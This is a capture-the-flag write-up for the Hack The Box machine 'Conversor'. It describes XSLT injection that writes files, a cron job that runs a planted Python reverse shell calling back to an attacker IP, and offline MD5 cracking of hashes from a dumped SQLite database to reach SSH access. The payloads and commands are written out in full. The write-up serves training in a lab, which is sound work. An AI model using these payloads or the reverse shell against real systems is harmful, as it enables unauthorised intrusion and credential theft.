Conversor Writeup — Hack The Box
Platform: Linux
IP: <IP>
Difficulty: Easy
Author: NoSec
wanna go deeper? unlock short videos & early root chains by joining backdoor crew
💀 join the backdoor crewRecon
I started with a fast nmap scan:
nmap -T4 -sS --min-rate 5000 -v -Pn <IP>
Result (high level):
22/tcp open ssh OpenSSH 8.9p1 Ubuntu ...
80/tcp open http Apache httpd 2.4.52
The HTTP response and hostname hinted the site was conversor.htb, so I added it to /etc/hosts:
echo "<IP> conversor.htb" | sudo tee -a /etc/hosts
Opening the site revealed a login page with a register button. I created an account and logged in. The authenticated area offered file upload features for XML and XSLT files — the perfect setup to test XSLT injection.
XSLT Injection & File Write
First, I verified XSLT was being processed by the server.
payload.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="payload.xsl"?>
<data><item>test</item></data>
payload.xsl
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
The output returned libxslt, confirming the server processes XSLT with libxslt and supports EXSLT extensions.
Next I tested writing a file using EXSLT document:
payload2.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl"
version="1.0">
<xsl:template match="/">
<exsl:document href="file:///tmp/test.txt" method="text">
test
</exsl:document>
</xsl:template>
</xsl:stylesheet>
The file /tmp/test.txt was created successfully. File write via XSLT worked.
Initial Shell via Cron + Reverse Shell
Inspecting the app source (downloaded from an about/download link) revealed an installation note with a cron job:
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
A cron job running every minute as www-data and executing any Python file in /var/www/conversor.htb/scripts/ is a low-hanging fruit.
I used the XSLT file write capability to create a Python reverse shell in that scripts folder, then started a listener on my machine.
revshell.xsl (used to write /var/www/conversor.htb/scripts/revshell.py)
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ptswarm="http://exslt.org/common"
extension-element-prefixes="ptswarm"
version="1.0">
<xsl:template match="/">
<ptswarm:document href="/var/www/conversor.htb/scripts/revshell.py" method="text">
#!/usr/bin/env python3
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<ATTACKER_IP>", <ATTACKER_PORT>))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh","-i"])
</ptswarm:document>
</xsl:template>
</xsl:stylesheet>
Start listener:
nc -lvnp <ATTACKER_PORT>
After the cron executed, I received a reverse shell as www-data.
Privilege Escalation — Local DB, cracking a user
From the source I found the application's SQLite DB:
/var/www/conversor.htb/instance/users.db
Inspecting the DB:
sqlite3 /var/www/conversor.htb/instance/users.db
.tables
SELECT * FROM users;
The users table contained usernames and password hashes (Raw MD5 style). Example entries included a fismathack user with a hash.
I exported the hash and cracked it with John the Ripper:
echo "5b5c3<HASH>" > hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
John recovered the password. Using it I SSH'd into the machine:
ssh fismathack@conversor.htb
# password: <CRACKED_PASSWORD>
Once logged in as fismathack, I read the user flag:
cat /home/fismathack/user.txt
# <USER_FLAG>
User flag obtained.
Key Takeaways
- XSLT (libxslt) + EXSLT can allow arbitrary file writes if the web app accepts XSLT files and processes them.
- Cron jobs that execute web-writable directories are a common escalation vector — writing a script to a directory run by cron can yield code execution as the cron user.
- Local databases (SQLite) often store credentials that can be cracked offline; combine file-write + local DB discovery for a reliable chain.
- Minimal attack surface required: web upload → file write → cron → reverse shell → local DB → SSH.
Tools Used
nmap— port/service discovery- browser — application interaction & file upload
nc(netcat) — listener / reverse shellsqlite3— local DB inspectionjohn(John the Ripper) — hash crackingssh— login as recovered user
🔐 Root part is only available in the private Telegram group while the box is active in Season 8. 👉 Join for the full writeup, extra tips and exclusive content: 📡 https://t.me/nosecpwn
☕ invite me for a coffee so i don’t fall asleep writing the next writeup
💻 support nosec